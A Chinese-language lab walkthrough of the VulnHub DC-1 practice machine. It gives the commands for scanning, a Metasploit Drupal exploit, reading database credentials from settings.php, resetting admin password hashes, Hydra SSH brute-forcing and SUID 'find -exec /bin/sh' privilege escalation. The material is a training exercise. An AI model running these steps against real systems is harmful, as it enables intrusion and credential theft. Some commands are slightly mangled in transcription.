DC-1靶场搭建及渗透实战详细过程

一. 环境搭建

1. 准备工具

1、kali(必备)

2、DC-1靶场机安装

官网下载:https://download.vulnhub.com/dc/DC-1.zip

2、安装过程

解压后得到一个.ova文件
image.png
直接使用虚拟机打开
DC-1靶场搭建及渗透实战详细过程_第1张图片
提示导入失败,不过没有关系点重试就好,导入完成后,打开DC-1虚拟机并等待,过程中别点进虚拟机里面
DC-1靶场搭建及渗透实战详细过程_第2张图片
出现这个界面就表示开启成功 (渗透完得到密码就能登入啦)

注意!!!!靶机和kali的接入模式必须要一致,比如都用net或者都用桥接,不懂的可以看这个(https://zhuanlan.zhihu.com/p/65103100)

DC-1靶场搭建及渗透实战详细过程_第3张图片

二、渗透过程

这个过程需要用到kali,打开kali(在root用户下)

1、信息收集

①探测主机ip

探测主机ip有很多办法,常见的有arp-scan、namp还有netdiscover

  • arp-scan

arp-sccan -l

该目录是探测当前网段的所有ip地址
DC-1靶场搭建及渗透实战详细过程_第4张图片
然后我们看一下DC靶机的Mac地址
DC-1靶场搭建及渗透实战详细过程_第5张图片
确定了DC主机的ip为192.168.64.141

  • nmap

先看一下kali的地址
DC-1靶场搭建及渗透实战详细过程_第6张图片
在使用nmap对64网段进行扫描

nmap -sP 192.168.64.0/24

DC-1靶场搭建及渗透实战详细过程_第7张图片

  • netdiscover

netdiscover

DC-1靶场搭建及渗透实战详细过程_第8张图片

②探测目标ip开放端口
用nmap来探测

nmap -sV -p- 192.168.64.141

-sV 扫描目标主机端口上运行的软件信息
-p- 扫描全部端口0-65535

DC-1靶场搭建及渗透实战详细过程_第9张图片
80端口是我们的突破口,80是http协议,我们使用浏览器查看

③收集网页信息

利用火绒插件wappalyzer,查看站点信息,也可以自己判断,网页一看cms就是drupal

什么是cms?

CMS是"Content Management System"的缩写,意为"内容管理系统"。 它采用统一的信息组织的方法即分类,对同一类型的信息进行分类,且每一类信息都可以进行新建(Add)、查看(View)、编辑(Edit)和删除(Delete)四种不同的操作。除了使用分类的方式组织信息以外,又采用了统一的用户和权限管理对信息的使用进行控制,即构成了一个完整的信息组织和管理的体系。内容管理系统是企业信息化建设和电子政务的新宠,也是一个相对较新的市场.

DC-1靶场搭建及渗透实战详细过程_第10张图片
得到如下信息

CMS是Drupal
Apache 2.2.22
PHP 5.4.45
jQuery 1.4.4

2. 漏洞查找与利用

知道cms,我们一般从cms出发找漏洞,百度一下drupal漏洞
DC-1靶场搭建及渗透实战详细过程_第11张图片

①漏洞查找

用工具Metasploit(目前世界上领先的渗透测试工具,也是信息安全与渗透测试领域最大的开源项目之一),找一下漏洞,先打开工具

msfconsole

DC-1靶场搭建及渗透实战详细过程_第12张图片
DC-1靶场搭建及渗透实战详细过程_第13张图片
然后输入命令

search Drupal

DC-1靶场搭建及渗透实战详细过程_第14张图片
可以看到漏洞还挺多的,这里我使用2018年的那个
DC-1靶场搭建及渗透实战详细过程_第15张图片
接着看一下该漏洞模块参数

show options

DC-1靶场搭建及渗透实战详细过程_第16张图片

Current Setting是目前设置的内容
Required表示是否需要设置内容,yes为必须设置,no可以设置也可不设置
就上面来说RHOSTS需要set,但是没有内容

所以接着我们来设置一下RHOSTS内容(就是攻击目标IP地址,靶场地址)

set RHOSTS 192.168.64.141

然后再show一下模块参数
DC-1靶场搭建及渗透实战详细过程_第17张图片
设置好参数后开始攻击

exploit

exploit和run是一样的,用run也可以
DC-1靶场搭建及渗透实战详细过程_第18张图片
出现Meterpreter session 1 opened(kali和目标ip的连接)就说明攻击成功啦,接下来我们可以直接上shell

3. Getshell

①获取普通shell

然后执行ls命令
DC-1靶场搭建及渗透实战详细过程_第19张图片

②获取交互shell

这样看起来有点那啥,不过我们可以利用python实现互交shell,这样就好看一点,使用的前提是攻击主机上必须装有python

python -c ‘import pty; pty.spawn(“/bin/bash”)’

image.png

可以看到这个shell的权限只是普通权限,还不是root,不过还能看看文件啦,先看一下发现的flag1.txt文件

cat flag1.txt

DC-1靶场搭建及渗透实战详细过程_第20张图片
翻译过来就是:每个好的CMS都需要一个配置文件,你也一样,emmm,这个先放着,看看还有没有其他flag文件

我们再看看有没有其他flag文件
find / -name flag*
DC-1靶场搭建及渗透实战详细过程_第21张图片
好吧只有一个,我们再看看他的配置文件,一般来说配置文件都有一些特别重要的信息在里面,搞不好还能提权,百度Drupal配置文件,路径挺复杂的不过知道名字叫settings.php,我们可以用命令直接搜索并打开,内联执行

cat find / -name settings.php

DC-1靶场搭建及渗透实战详细过程_第22张图片

4、数据库渗透

发现第二个flag以及数据可以账号密码、咱们登录一下

mysql -udbuser -pR0ck3t

DC-1靶场搭建及渗透实战详细过程_第23张图片
登进去了,这样我们就可以为所欲为修改数据库了,先看看有啥好东西

show databases;

DC-1靶场搭建及渗透实战详细过程_第24张图片
接着使用改数据库,并查看表
use drupaldb;show tables;

DC-1靶场搭建及渗透实战详细过程_第25张图片
注意到users这个表,看一下有啥,先改小一点字体,不然可能会挤爆不美观

select * from users;

DC-1靶场搭建及渗透实战详细过程_第26张图片
得到两个用户

1 | admin | S S SDvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
2 | Fred | S S SDWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg

密码好复杂,应该不是明文,那想登进后台就很难了就很难了,我们可以通过修改admin的密码,或者是新加一个admin

法一:修改admin密码
我们得先找到加密文件,Drupal的加密脚本在

/var/www/scripts/password-hash.sh

首先我推出mysql

exit;

打开加密脚本

cat /var/www/scripts/password-hash.sh

DC-1靶场搭建及渗透实战详细过程_第27张图片
这个脚本是用php写的,而且还能用php加参数运行,直接得到加密后的密码,这里我们设置一个密码123456

php /var/www/scripts/password-hash.sh 123456

image.png
得到加密后的密码, 接着我们登入mysql修改一下admin跟Fred的密码

mysql -udbuser -pR0ck3t

use drupaldb;update users set pass = “ S S SD1UQvb3x7lKoCSX6S9K.r.wB202Lsa/r7fkOj7CelJsSEMFDJjGv” where name = ‘admin’ or name = ‘Fred’;

DC-1靶场搭建及渗透实战详细过程_第28张图片
接着我们用修改好的密码登入
DC-1靶场搭建及渗透实战详细过程_第29张图片
登进去就找到了flag3,提示了我们一些信息passwd和shadow,明显就是linux的文件

/etc/passwd
该文件存储了系统用户的基本信息,所有用户都可以对其进行文件操作读
Linux /etc/passwd内容解释(超详细)

/etc/shadow
该文件存储了系统用户的密码等信息,只有root权限用户才能读取
Linux /etc/shadow(影子文件)内容解析(超详细)

接着我们查看一下用户信息

tac /etc/passwd

DC-1靶场搭建及渗透实战详细过程_第30张图片
可以看到有flag4这个用户,我们有两个方法拿到这个用户的密码,一个是爆破,另一个就是提权打开shadow文件查看密码

5. 用户密码爆破

事先参考SSH
SSH简介及两种远程登录的方法_Jack LDZ的博客-CSDN博客_ssh

利用工具Hydra爆破flag4的密码
(总结)Linux下的暴力密码在线破解工具Hydra详解

hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.64.141

DC-1靶场搭建及渗透实战详细过程_第31张图片
爆破出密码orange,然后我们用kali连接

ssh [email protected]

DC-1靶场搭建及渗透实战详细过程_第32张图片
打开了flag4.txt,emmm其实好像也没啥

DC-1靶场搭建及渗透实战详细过程_第33张图片

6. Linux提权

需要用到SUID提权,参考

简谈SUID提权 - FreeBuf网络安全行业门户

利用find命令,找查具有SUID权限的可执行二进制文件

find / -perm -u=s -type f 2>/dev/null

DC-1靶场搭建及渗透实战详细过程_第34张图片
find比较常用,可以执行root权限的命令找查文件,

find / -name index.php -exec “/bin/sh” ;

找查什么文件不重要(但是是存在的文件),只需要格式对,然后后面加上
-exec “/bin/sh” ;

#!/bin/sh简介 - feng…liu - 博客园 (cnblogs.com)

DC-1靶场搭建及渗透实战详细过程_第35张图片

可以看到已经提权成功了,接下来我们只要找到剩下的flag文件就算通关啦

cd /root

ls

cat *

DC-1靶场搭建及渗透实战详细过程_第36张图片

你可能感兴趣的:(linux,服务器,前端)